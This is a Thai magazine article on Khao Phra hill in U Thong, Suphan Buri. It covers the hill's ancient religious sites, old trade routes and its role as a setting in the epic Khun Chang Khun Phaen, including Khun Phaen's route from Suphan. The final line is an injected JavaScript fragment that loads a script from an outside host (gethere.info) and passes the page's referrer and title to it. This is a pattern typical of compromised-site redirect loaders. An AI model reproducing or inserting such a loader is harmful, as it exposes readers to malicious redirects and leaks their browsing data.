มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 8 พฤศจิกายน 2556

 

          ขุนช้างขุนแผน อย่างน้อย 2 ตอน มีฉากท้องที่บริเวณเขาพระ อ. อู่ทอง จ. สุพรรณบุรี คือ

          1. ตอนพระพันวษาต้อนควายป่าที่เขาพระ 2. ตอนขุนแผนพานางวันทองหนีขุนช้างไปเขาพระ

 

เขาพระ

          เขาพระ เป็นเสมือนแลนด์มาร์ก (landmark) หลักหมายอันศักดิ์สิทธิ์ของทิวเขาด้านตะวันตกของเมืองอู่ทอง ที่มียอดเขาชื่อต่างๆ ต่อเนื่องกันเป็นพืดไป เช่น เขารางกะบิด, เขาทำเทียม, เขาพุหางนาค, เขาถ้ำเสือ, ฯลฯ

          บนยอดเขาบางลูก พบวัฒนธรรมหินตั้งในศาสนาผี ที่บรรพชนคนดึกดำบรรพ์ทำขึ้นไม่น้อยกว่า 2,000 ปีมาแล้ว (หรือก่อน พ.ศ. 500)

          ต่อมาราวหลัง พ.ศ. 1000 บริเวณนี้รับศาสนาพราหมณ์, พุทธ จากอินเดีย แล้วสร้างบ้านแปลงเมือง เรียกภายหลังสืบมาว่าเมืองอู่ทอง ก็ปรับเข้ากับศาสนาผีที่มีมาแต่เดิม แล้วยกเขาพระเป็นแหล่งศักดิ์สิทธิ์ของพราหมณ์, พุทธ เคลือบผีไว้

          จึงพบสถูปเจดีย์บนยอดเขาพระ แล้วพบร่องรอยทางศาสนาอื่นๆ อีกมาก

          แล้วน่าเชื่อว่าเป็นส่วนหนึ่งของ “ปุษยคิริ” ที่บรรพชนคนอู่ทอง ยุคทวารวดี สมมุติชื่อเรียกเลียนแบบภูเขาศักดิ์สิทธิ์ทางพุทธศาสนายุคพระเจ้าอโศกที่มีจริงในอินเดีย

          แม้เมืองอู่ทองลดความสำคัญลงเป็นส่วนป่าดงของเมืองสุพรรณบุรี แต่เขาพระยังอยู่ในความทรงจำว่าเป็นแหล่งศักดิ์สิทธิ์ไม่เสื่อมคลาย จึงมีผู้คนจาริกแสวงบุญไปกราบไหว้นมัสการสม่ำเสมอ กระทั่งหลัง ร.3 กวีก็ใช้เป็นฉากในเสภาขุนช้างขุนแผน

 

เมืองอู่ทอง บนเส้นทางการค้า

          เมืองอู่ทองที่ อ. อู่ทอง จ. สุพรรณบุรี อยู่บนเส้นทางคมนาคมการค้าและสงครามไป จ. กาญจนบุรี (ผ่าน อ. พนมทวน) ซึ่งอยู่ต่อเนื่องกับ อ. อู่ทอง

          ลำน้ำจรเข้สามพัน (อ. อู่ทอง) ต่อเนื่องกับลำน้ำทวน (อ. พนมทวน) เชื่อมแม่น้ำแม่กลอง ที่ อ. ท่าม่วง (กาญจน์) ไหลลงแม่น้ำท่าจีน ที่ อ. สองพี่น้อง (สุพรรณ)

          เป็นเส้นทางคมนาคมไม่น้อยกว่า 3,000 ปีมาแล้ว พบหลักฐานโบราณคดีจำนวนมากอยู่สองข้างลำน้ำ สืบเนื่องจนยุคทวารวดี มีการติดต่อทางทะเลกับ อินเดีย, ลังกา ผ่านด่านเจดีย์สามองค์ ออกอ่าวเมาะตะมะ ทะเลอันดามัน ทางเมืองทวายในพม่า

          ดังนั้น คนยุคหลังๆ จึงไม่ลืมเมืองอู่ทอง ยังมีซากสถูปเจดีย์ยุคต่างๆ ต่อเนื่อง แสดงว่ามีชุมชนสืบกันต่อๆมา เพราะอยู่บนเส้นทางคมนาคมสำคัญที่ใช้ทั้งด้านการค้าและการสงคราม

 

พระพันวษา ต้อนควายป่าที่เขาพระ

          กลอนเสภาขุนช้างขุนแผน ตอนต้นเรื่องกล่าวถึงพระพันวษาอยู่ในพระนครศรีอยุธยา จะไปต้อนควายป่าเมืองสุพรรณที่เขาพระ (ปัจจุบันอยู่ที่ อ. อู่ทอง จ. สุพรรณบุรี)

          สั่งขุนศรีวิไชย (พ่อขุนช้าง) อยู่ในอยุธยา ไปบอกขุนไกร (พ่อขุนแผน) อยู่สุพรรณ ให้เตรียมการต้อนควายป่า

          ขุนไกรลาเมีย (ทองประศรี) ลาลูก (พลายแก้ว) ที่ยังเล็ก แล้วคุมข้าคนออกจากเมืองสุพรรณไปเตรียมการถวายพระพันวษาที่เขาพระ (อ. อู่ทอง) มีกลอนเสภาพรรณนาว่า

          เหลียวหน้ามาดูเจ้าพลายแก้ว                    สุดใจพ่อแล้วเพียงอกหัก

          น้ำตาคลอตาประหม่านัก                          ตัดรักหักใจแล้วไคลคลา

          คุมคนออกจากเมืองสุพรรณ                     ถึงเขาพระพอตะวันจะลับหล้า

          สั่งให้สำรวจตรวจตรา                              คอยท่ารับเสด็จพระภูธร ฯ

 

ขุนแผน พานางวันทองไปเขาพระ

          ขุนแผนถูกขุนช้างวางแผนชิงนางวันทองไป เลยหมายชิงคืน จึงตีดาบ ซื้อม้า หากุมาร ครบแล้ว ก็ขึ้นเรือนขุนช้าง พานางวันทองหนีไปเขาพระ ที่อู่ทอง

          มีกลอนเสภาพรรณนาว่าพอพ้นเขตเมืองสุพรรณก็เข้าเขตอู่ทอง ถึงเขาพระซึ่งเป็นดงเป็นป่าว่าดังนี้

         คลึงเคล้าเย้ายีค่อยคลี่คลาย                      ชักม้าร่าสยายมาทั้งสอง

          พ้นสุพรรณไปได้ดังใจปอง                        พระจันทร์ผันผยองอยู่พร่างพร้อย ฯ

          ถึงเขาพระที่เคยเข้ามาไหว้                 พระสุกนี่กระไรดังหิ่งห้อย

          ชี้บอกวันทองน้องน้อย                             พระจันทร์ฉายบ่ายคล้อยลงฉับพลัน

 

เส้นทางเมืองสุพรรณไปอู่ทอง         

          จากเมืองสุพรรณไปอู่ทอง กลอนเสภาพรรณนาสถานที่ที่ผ่านไปหลายแห่ง

          อ. ธนิต อยู่โพธิ์ (อดีตอธิบดีกรมศิลปากร) ตรวจสอบเส้นทางขุนแผนพานางวันทองหนีขุนช้างไปเขาพระที่อู่ทอง ไว้ในหนังสือโบราณวิทยาเรื่องเมืองอู่ทอง (กรมศิลปากร รวบรวมจัดพิมพ์ เนื่องในงานเสด็จพระราชดำเนินทรงเปิดพิพิธภัณฑสถานแห่งชาติ อู่ทอง จังหวัดสุพรรณบุรี วันที่ 13 พฤษภาคม พ.ศ. 2509 หน้า 119-160 พร้อมแผนที่แสดงเส้นทาง)

          ได้ความว่าผ่านสถานที่ต่างๆ ทางทิศตะวันตกเฉียงใต้ของตัวเมืองสุพรรณบุรี จะสรุปย่อคัดมาดังนี้

          1. ประตูตาจอม มีผู้บอกว่าเป็นประตูเมืองทิศตะวันตกเฉียงใต้

          2. วัดตะลุ่มโปง ปัจจุบันเป็นวัดร้าง ตั้งอยู่วังยายหุ่น ต. ดอนกำยาน

          3. โคกกำยาน อยู่ในตำบลดอนกำยาน อ. เมืองสุพรรณบุรี มีปลาสลิดรสดีกว่าที่อื่นจนขึ้นชื่อเรียกว่า ปลาสลิดโคกกำยาน

          4. ท้องนาแปลกแม่ คงหมายถึงทุ่งนาของบ้านไผ่แปลกแม่ อยู่ใน ต. สวนแตง อ. เมืองสุพรรณบุรี

          5. ลำน้ำบ้านพลับ คงจะอยู่ระหว่างหมู่บ้านไผ่แปลกแม่กับบ้านยี่แส เพราะมีกล่าวไว้ในกลอนตอนนี้อีกแห่งหนึ่ง “จนข้ามบ้านพลับยี่แสมา” แต่กล่าวถึงตอนเมื่อขุนแผนมาจากกาญจนบุรี ไม่เรียกว่า “ลำน้ำบ้านพลับ” แต่เรียกว่า “หนองน้ำบ้านพลับ”

          ส่วนยี่แสนั้น ปัจจุบันมีชื่อบ้านยี่แส ยังมีลำน้ำยี่แสที่ถนนมาลัยแมน ผ่านข้ามไปตอนเหนือที่ตั้ง อ. อู่ทอง และมีทางแยกเข้าหมู่บ้านและวัดยางยี่แสอยู่ขวามือ

          6. บ้านกล้วย อยู่ใกล้บ้านยี่แส ยังมีวัดบ้านกล้วยซึ่งเป็นวัดร้าง อยู่ริมลำน้ำจระเข้สามพัน ใกล้กับวัดยางยี่แส แต่คนละฝั่ง

          7. ยุ้งทะลาย เป็นตำบลขึ้นใน อ. อู่ทอง จ. สุพรรณบุรี

          8. เขาพระ ที่ไหล่เขามีพระพุทธรูปไสยา ข้างบนเขามีซากพระเจดีย์โบราณ   ก่อด้วยอิฐ ตรวจดูเป็นสมัยอยุธยา แต่พังทลายเหลือแต่ตอนฐาน ตามที่กล่าวถึงในบทเสภาคงเป็นเวลาที่พระเจดีย์ยังสมบูรณ์ดีอยู่ และคงจะมีพระพุทธรูปตั้งอยู่ที่ซุ้มประจำทิศปิดทองสุกอร่าม ขุนแผนพาวันทองผ่านมาเป็นเวลากลางคืนเดือนหงาย แสงเดือนคงจะส่องไปที่พระพุทธรูปปิดทองสะท้อนแสงเห็นเป็นประกายสุกใส จึงกล่าวไว้เป็นคำกลอนว่า “ถึงเขาพระที่เคยเข้ามาไหว้ พระสุกนี่กระไรดังหิ่งห้อย”

          เส้นทางจากเมืองสุพรรณไปอู่ทองมีความสำคัญทางเศรษฐกิจการเมืองและสังคมวัฒนธรรม ของบ้านเมืองยุคต่างๆ อีกมาก

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;